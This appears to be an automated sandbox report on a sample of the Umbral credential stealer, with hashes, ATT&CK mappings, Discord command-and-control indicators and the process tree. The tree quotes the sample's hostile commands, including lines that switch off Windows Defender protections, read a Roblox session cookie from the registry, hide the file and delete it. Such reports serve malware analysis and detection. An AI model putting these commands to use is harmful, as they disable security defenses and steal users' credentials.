umbral | 10a0c83bc6522b597850d3871616715533031cba948807d3831b5a239d5d7f9b

Analysis

max time kernel
97s
max time network
138s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
30-11-2024 07:10

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General

Target

osintbeta.exe
Size

631KB
MD5

651f9b8d2e6d57a5ad192c4f9e6bc5fe
SHA1

351d05c661abc76b335cb99b620a8a81367e41de
SHA256

10a0c83bc6522b597850d3871616715533031cba948807d3831b5a239d5d7f9b
SHA512

9573a78740c3ada200d282c34ffb07bc4f5549a7ddd5dcdf5f0070aba5be5cc0bdc0ab1bc54bd0283a43bc34febc5e0c7fb1ade6bb5173e598890be76445256b
SSDEEP

12288:hoZtL+EP8l1xMw2xpamPyAxVkghNiMdRC:fI8rxMw2xpamPyAxVkgriMdA

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2372-1-0x00000256F96B0000-0x00000256F9754000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4968	powershell.exe
4712	powershell.exe
2664	powershell.exe
4588	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	osintbeta.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3168	cmd.exe
3784	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4228	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3784	PING.EXE

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
4652	wmic.exe
4652	wmic.exe
4652	wmic.exe
4652	wmic.exe
2372	osintbeta.exe
4968	powershell.exe
4968	powershell.exe
4712	powershell.exe
4712	powershell.exe
2664	powershell.exe
2664	powershell.exe
1292	powershell.exe
1292	powershell.exe
2832	wmic.exe
2832	wmic.exe
2832	wmic.exe
2832	wmic.exe
1736	wmic.exe
1736	wmic.exe
1736	wmic.exe
1736	wmic.exe
60	wmic.exe
60	wmic.exe
60	wmic.exe
60	wmic.exe
4588	powershell.exe
4588	powershell.exe
4228	wmic.exe
4228	wmic.exe
4228	wmic.exe
4228	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2372	osintbeta.exe
Token: SeIncreaseQuotaPrivilege	4652	wmic.exe
Token: SeSecurityPrivilege	4652	wmic.exe
Token: SeTakeOwnershipPrivilege	4652	wmic.exe
Token: SeLoadDriverPrivilege	4652	wmic.exe
Token: SeSystemProfilePrivilege	4652	wmic.exe
Token: SeSystemtimePrivilege	4652	wmic.exe
Token: SeProfSingleProcessPrivilege	4652	wmic.exe
Token: SeIncBasePriorityPrivilege	4652	wmic.exe
Token: SeCreatePagefilePrivilege	4652	wmic.exe
Token: SeBackupPrivilege	4652	wmic.exe
Token: SeRestorePrivilege	4652	wmic.exe
Token: SeShutdownPrivilege	4652	wmic.exe
Token: SeDebugPrivilege	4652	wmic.exe
Token: SeSystemEnvironmentPrivilege	4652	wmic.exe
Token: SeRemoteShutdownPrivilege	4652	wmic.exe
Token: SeUndockPrivilege	4652	wmic.exe
Token: SeManageVolumePrivilege	4652	wmic.exe
Token: 33	4652	wmic.exe
Token: 34	4652	wmic.exe
Token: 35	4652	wmic.exe
Token: 36	4652	wmic.exe
Token: SeIncreaseQuotaPrivilege	4652	wmic.exe
Token: SeSecurityPrivilege	4652	wmic.exe
Token: SeTakeOwnershipPrivilege	4652	wmic.exe
Token: SeLoadDriverPrivilege	4652	wmic.exe
Token: SeSystemProfilePrivilege	4652	wmic.exe
Token: SeSystemtimePrivilege	4652	wmic.exe
Token: SeProfSingleProcessPrivilege	4652	wmic.exe
Token: SeIncBasePriorityPrivilege	4652	wmic.exe
Token: SeCreatePagefilePrivilege	4652	wmic.exe
Token: SeBackupPrivilege	4652	wmic.exe
Token: SeRestorePrivilege	4652	wmic.exe
Token: SeShutdownPrivilege	4652	wmic.exe
Token: SeDebugPrivilege	4652	wmic.exe
Token: SeSystemEnvironmentPrivilege	4652	wmic.exe
Token: SeRemoteShutdownPrivilege	4652	wmic.exe
Token: SeUndockPrivilege	4652	wmic.exe
Token: SeManageVolumePrivilege	4652	wmic.exe
Token: 33	4652	wmic.exe
Token: 34	4652	wmic.exe
Token: 35	4652	wmic.exe
Token: 36	4652	wmic.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeIncreaseQuotaPrivilege	4968	powershell.exe
Token: SeSecurityPrivilege	4968	powershell.exe
Token: SeTakeOwnershipPrivilege	4968	powershell.exe
Token: SeLoadDriverPrivilege	4968	powershell.exe
Token: SeSystemProfilePrivilege	4968	powershell.exe
Token: SeSystemtimePrivilege	4968	powershell.exe
Token: SeProfSingleProcessPrivilege	4968	powershell.exe
Token: SeIncBasePriorityPrivilege	4968	powershell.exe
Token: SeCreatePagefilePrivilege	4968	powershell.exe
Token: SeBackupPrivilege	4968	powershell.exe
Token: SeRestorePrivilege	4968	powershell.exe
Token: SeShutdownPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeSystemEnvironmentPrivilege	4968	powershell.exe
Token: SeRemoteShutdownPrivilege	4968	powershell.exe
Token: SeUndockPrivilege	4968	powershell.exe
Token: SeManageVolumePrivilege	4968	powershell.exe
Token: 33	4968	powershell.exe
Token: 34	4968	powershell.exe
Token: 35	4968	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 4652	2372	osintbeta.exe	80
PID 2372 wrote to memory of 4652	2372	osintbeta.exe	80
PID 2372 wrote to memory of 236	2372	osintbeta.exe	83
PID 2372 wrote to memory of 236	2372	osintbeta.exe	83
PID 2372 wrote to memory of 4968	2372	osintbeta.exe	85
PID 2372 wrote to memory of 4968	2372	osintbeta.exe	85
PID 2372 wrote to memory of 4712	2372	osintbeta.exe	88
PID 2372 wrote to memory of 4712	2372	osintbeta.exe	88
PID 2372 wrote to memory of 2664	2372	osintbeta.exe	90
PID 2372 wrote to memory of 2664	2372	osintbeta.exe	90
PID 2372 wrote to memory of 1292	2372	osintbeta.exe	92
PID 2372 wrote to memory of 1292	2372	osintbeta.exe	92
PID 2372 wrote to memory of 2832	2372	osintbeta.exe	96
PID 2372 wrote to memory of 2832	2372	osintbeta.exe	96
PID 2372 wrote to memory of 1736	2372	osintbeta.exe	99
PID 2372 wrote to memory of 1736	2372	osintbeta.exe	99
PID 2372 wrote to memory of 60	2372	osintbeta.exe	101
PID 2372 wrote to memory of 60	2372	osintbeta.exe	101
PID 2372 wrote to memory of 4588	2372	osintbeta.exe	103
PID 2372 wrote to memory of 4588	2372	osintbeta.exe	103
PID 2372 wrote to memory of 4228	2372	osintbeta.exe	105
PID 2372 wrote to memory of 4228	2372	osintbeta.exe	105
PID 2372 wrote to memory of 3168	2372	osintbeta.exe	107
PID 2372 wrote to memory of 3168	2372	osintbeta.exe	107
PID 3168 wrote to memory of 3784	3168	cmd.exe	109
PID 3168 wrote to memory of 3784	3168	cmd.exe	109

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
236	attrib.exe

C:\Users\Admin\AppData\Local\Temp\osintbeta.exe
"C:\Users\Admin\AppData\Local\Temp\osintbeta.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4652
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\osintbeta.exe"
  2⤵
  - Views/modifies file attributes
  PID:236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\osintbeta.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1292
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2832
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1736
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:60
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4588
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious behavior: EnumeratesProcesses
  PID:4228
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\osintbeta.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3168
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c67441dfa09f61bca500bb43407c56b8

SHA1
5a56cf7cbeb48c109e2128c31b681fac3959157b

SHA256
63082da456c124d0bc516d2161d1613db5f3008d903e4066d2c7b4e90b435f33

SHA512
325de8b718b3a01df05e20e028c5882240e5fd2e96c771361b776312923ff178f27494a1f5249bf6d7365a99155eb8735a51366e85597008e6a10462e63ee0e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
0a9f768565b1feb241955d1491a980dc

SHA1
e3b7888ce586b808a68c18e6cf3ea9625800306f

SHA256
9580a44856a6859a9a1e6e7d4bfd902834cdde76ef9a94c21aed18d5f648d58b

SHA512
2c8b6cf6a2de91e4c4e538e18aedc32c6f6a215458ac9864638023a3dbdc50b656b10d46ddf21e21e1f57066f485ee979d6ae036b95473520cd486e43ac064f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e1fdd1b66d2fee9f6a052524d4ddca5

SHA1
0a9d0994559d1be2eecd8b0d6960540ca627bdb6

SHA256
4cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13

SHA512
5a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
43a63637614b06cf4ca7e1b85c25b071

SHA1
1fefef7f0dfef9f9ba248f168a0c85314f5f4053

SHA256
0f3ec5a874fe41abd67013b8481610202272468333616bf098ced19c1f271e6b

SHA512
6396d789420a8a13367483ec6d7f288e437cf75527f11132285738587ce549f95587c32c56d023008b5725e465a76da244093707079b13216c057a550b4cc1d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5co4er11.4r5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1292-57-0x000001EFA97C0000-0x000001EFA99DD000-memory.dmp

Filesize
2.1MB

Download
memory/2372-33-0x00000256FBD20000-0x00000256FBD70000-memory.dmp

Filesize
320KB

Download
memory/2372-1-0x00000256F96B0000-0x00000256F9754000-memory.dmp

Filesize
656KB

Download
memory/2372-81-0x00007FFA86990000-0x00007FFA87452000-memory.dmp

Filesize
10.8MB

Download
memory/2372-2-0x00007FFA86990000-0x00007FFA87452000-memory.dmp

Filesize
10.8MB

Download
memory/2372-32-0x00000256FBE80000-0x00000256FBEF6000-memory.dmp

Filesize
472KB

Download
memory/2372-61-0x00000256FBF50000-0x00000256FBF62000-memory.dmp

Filesize
72KB

Download
memory/2372-34-0x00000256FBCF0000-0x00000256FBD0E000-memory.dmp

Filesize
120KB

Download
memory/2372-60-0x00000256FBF10000-0x00000256FBF1A000-memory.dmp

Filesize
40KB

Download
memory/2372-0-0x00007FFA86993000-0x00007FFA86995000-memory.dmp

Filesize
8KB

Download
memory/4968-4-0x0000019477B20000-0x0000019477B42000-memory.dmp

Filesize
136KB

Download
memory/4968-18-0x00007FFA86990000-0x00007FFA87452000-memory.dmp

Filesize
10.8MB

Download
memory/4968-15-0x00007FFA86990000-0x00007FFA87452000-memory.dmp

Filesize
10.8MB

Download
memory/4968-5-0x00007FFA86990000-0x00007FFA87452000-memory.dmp

Filesize
10.8MB

Download
memory/4968-3-0x00007FFA86990000-0x00007FFA87452000-memory.dmp

Filesize
10.8MB

Download